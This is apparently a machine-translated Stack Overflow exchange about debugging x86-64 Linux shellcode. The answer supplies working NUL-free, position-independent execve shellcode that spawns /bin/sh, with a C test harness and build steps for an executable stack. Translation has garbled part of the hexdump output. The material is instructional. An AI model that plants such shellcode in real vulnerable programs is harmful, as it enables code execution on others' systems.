Shellcode: Unzulässige Anweisung

Oct 19 2020

Ich bin neu in der Shellcode-Entwicklung und kann nicht verstehen, warum generierter Shellcode nicht wie erwartet funktioniert.

Assembler-Code:

Basierend auf einer Antwort auf meine vorherige Frage.

.section .data
cmd:    .string "/bin/sh"               /* command string */
hand:   .string "-c"                    /* command arguments string */
args:   .string "ls -al"                /* arguments string */
argv:   .quad cmd                       /* array of command, command arguments and arguments */
        .quad hand
        .quad args
        .quad 0

.section .text
.globl _start
_start:
        movq    $59, %rax /* call execve system call */ leaq cmd(%rip), %rdi /* save command to rdi */ leaq argv(%rip), %rsi /* save args to rsi */ movq $0,             %rdx    /* save NULL to rdx */

        syscall                         /* make system call */

C-Testcode:

#include<stdio.h>
#include<string.h>

unsigned char shellcode[] = "\x48\xc7\xc0\x3b\x00\x00\x00\x48\x8d\x3d\xf2\x0f\x00\x00\x48\x8d\x35\xfd\x0f\x00\x00\x48\xc7\xc2\x00\x00\x00\x00\x0f\x05";

int main()
{
    int (*ret)() = (int(*)())shellcode;
    ret();
}

Ausgabe:

Illegal instruction

Details: Kali Linux GNU / Linux i386 x86_64

Antworten

2 MichaelPetch Oct 19 2020 at 01:02

Das Problem mit Ihrem Code ist, dass die von Ihnen generierte Shell-Zeichenfolge keine Daten enthält. Und die Daten enthalten absolute Zeiger, sind also nicht positionsunabhängig und würden daher nicht funktionieren, wenn Sie sie verschieben .textund einschließen würden. Sobald das Programm in einem anderen Programm ausgeführt wird, wie Sie es im C- Code tun, versucht es, Daten zu finden, die nicht vorhanden sind, und an festen Speicherorten, die nicht für das ausnutzbare Programm gelten, in dem Sie ausgeführt werden.

Ich denke, Sie haben möglicherweise ein anderes Problem, das die illegale Anweisung verursacht . Sie zeigen nicht, wie Sie Ihr C- Programm erstellen , aber ich frage mich, ob es 32-Bit und Ihr Shellcode 64-Bit ist. Ich fange an zu glauben, dass Ihr C- Programm möglicherweise als 32-Bit-Programm kompiliert wurde und die unzulässige Anweisung möglicherweise darauf zurückzuführen ist, dass Sie 64-Bit-Code (den Shell-Code) in einem 32-Bit-Programm nicht zuverlässig ausführen können. Beispielsweise ist der SYSCALLBefehl ein ungültiger Opcode in einem 32-Bit-Programm auf Nicht-AMD-CPUs. Dies ist nur eine Vermutung, da keine weiteren Details darüber vorliegen, wie Sie Ihren Shell-Code und Ihr C- Programm kompilieren / zusammenstellen / verknüpfen .


Sie müssen positionsunabhängigen Code (PIC) generieren, damit er nach dem Laden auf den Stapel überall ausgeführt werden kann. Ihre Daten müssen mit dem Code innerhalb des Segments platziert werden. Der Code muss auch vermeiden, das NUL-Zeichen (0x00) zu generieren, da dies eine Zeichenfolge vorzeitig beenden würde, wenn sie als Benutzereingabe für ein tatsächlich ausnutzbares Programm bereitgestellt wird.

Eine Version Ihres Codes, die für solche Zwecke verwendet werden könnte, könnte folgendermaßen aussehen:

shellcode.s :

# This shell code is designed to avoid any NUL(0x00) byte characters being generated
# and is coded to be position independent.

.section .text
.globl _start
_start:
    jmp overdata                 # Mix code and DATA in same segment

# Generate all the strings without a NUL(0) byte. We will replace the 0xff
# with 0x00 in the code
name:.ascii "/bin/sh"            # Program to run
name_nul: .byte 0xff             # This 0xff will be replaced by 0x00 in the code
arg1:.ascii "-c"                 # Program argument
arg1_nul: .byte 0xff             # This 0xff will be replaced by 0x00 in the code
arg2:.ascii "ls"                 # Program Argument
arg2_nul: .byte 0xff             # This 0xff will be replaced by 0x00 in the code

overdata:
    xor  %eax, %eax              # RAX = 0

    # All references to the data before our code will use a negative offset from RIP
    # and use a 4 byte displacement. This avoids producing unwanted NUL(0) characters
    # in the code. We use RIP relative addressing so the code will be position
    # independent once loaded in memory.

    # Zero terminate each of the strings
    mov  %al, arg2_nul(%rip)     
    mov  %al, arg1_nul(%rip) 
    mov  %al, name_nul(%rip)

    lea  name(%rip), %rdi        # RDI = pointer to program name string

    push %rax                    # NULL terminate the program argument array
    leaq arg2(%rip), %rsi
    push %rsi                    # Push address of the 3rd program argument on stack
    lea  arg1(%rip), %rsi
    push %rsi                    # Push address of the 2nd program argument on stack
    push %rdi                    # Push address of the program name on stack as 1st arg
    mov  %rsp, %rsi              # RSI = Pointer to the program argument array

    mov  %rax, %rdx              # RDX = 0 = NULL envp parameter

    mov $59, %al                 # RAX = execve system call number

    syscall

Sie können eine Zeichenfolge im C-Stil generieren mit:

as --64 shellcode.s -o shellcode.o
ld shellcode.o -o shellcode
objcopy -j.text -O binary shellcode shellcode.bin
hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.bin

Der hexdumpobige Befehl würde Folgendes ausgeben:

\ xeb \ x0e \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ xff \ x2d \ x63 \ xff \ x6c \ x73 \ xff \ x31 \ xc0 \ x88 \ x05 \ xf7 \ xff \ xff \ xff \ x88 \ x05 \ xee \ xff \ xff \ xff \ x88 \ x05 \ xe5 \ xff \ xff \ xff \ x48 \ x8d \ x3d \ xd7 \ xff \ xff \ xff \ x50 \ x48 \ x8d \ x35 \ xda \ xff \ xff \ xff \ x56 \ x48 \ x8d \ x35 \ xcf \ xff \ xff \ xff \ x56 \ x57 \ x48 \ x89 \ xe6 \ x48 \ x89 \ xc2 \ xb0 \ x3b \ x0f \ x05

Sie werden feststellen, dass es im \x00Gegensatz zu Ihrem Code keine Zeichen gibt . Sie können diese Zeichenfolge direkt in einem C- Programm verwenden, z.

Exploit.c :

int main(void)
{
    char shellcode[]="\xeb\x0e\x2f\x62\x69\x6e\x2f\x73\x68\xff\x2d\x63\xff\x6c\x73\xff\x31\xc0\x88\x05\xf7\xff\xff\xff\x88\x05\xee\xff\xff\xff\x88\x05\xe5\xff\xff\xff\x48\x8d\x3d\xd7\xff\xff\xff\x50\x48\x8d\x35\xda\xff\xff\xff\x56\x48\x8d\x35\xcf\xff\xff\xff\x56\x57\x48\x89\xe6\x48\x89\xc2\xb0\x3b\x0f\x05";

    int (*ret)() = (int(*)())shellcode;
    ret();

    return 0;
}

Dies muss kompiliert und mit einem ausführbaren Stack verknüpft werden:

gcc -zexecstack exploit.c -o exploit

strace ./exploitwürde einen EXECVESystemaufruf erzeugen , der ähnlich ist wie:

execve ("/ bin / sh", ["/ bin / sh", "-c", "ls"], NULL) = 0


Hinweis : Ich persönlich würde die Zeichenfolgen programmgesteuert auf dem Stapel erstellen, ähnlich dem Code in einer anderen von mir geschriebenen Stackoverflow-Antwort .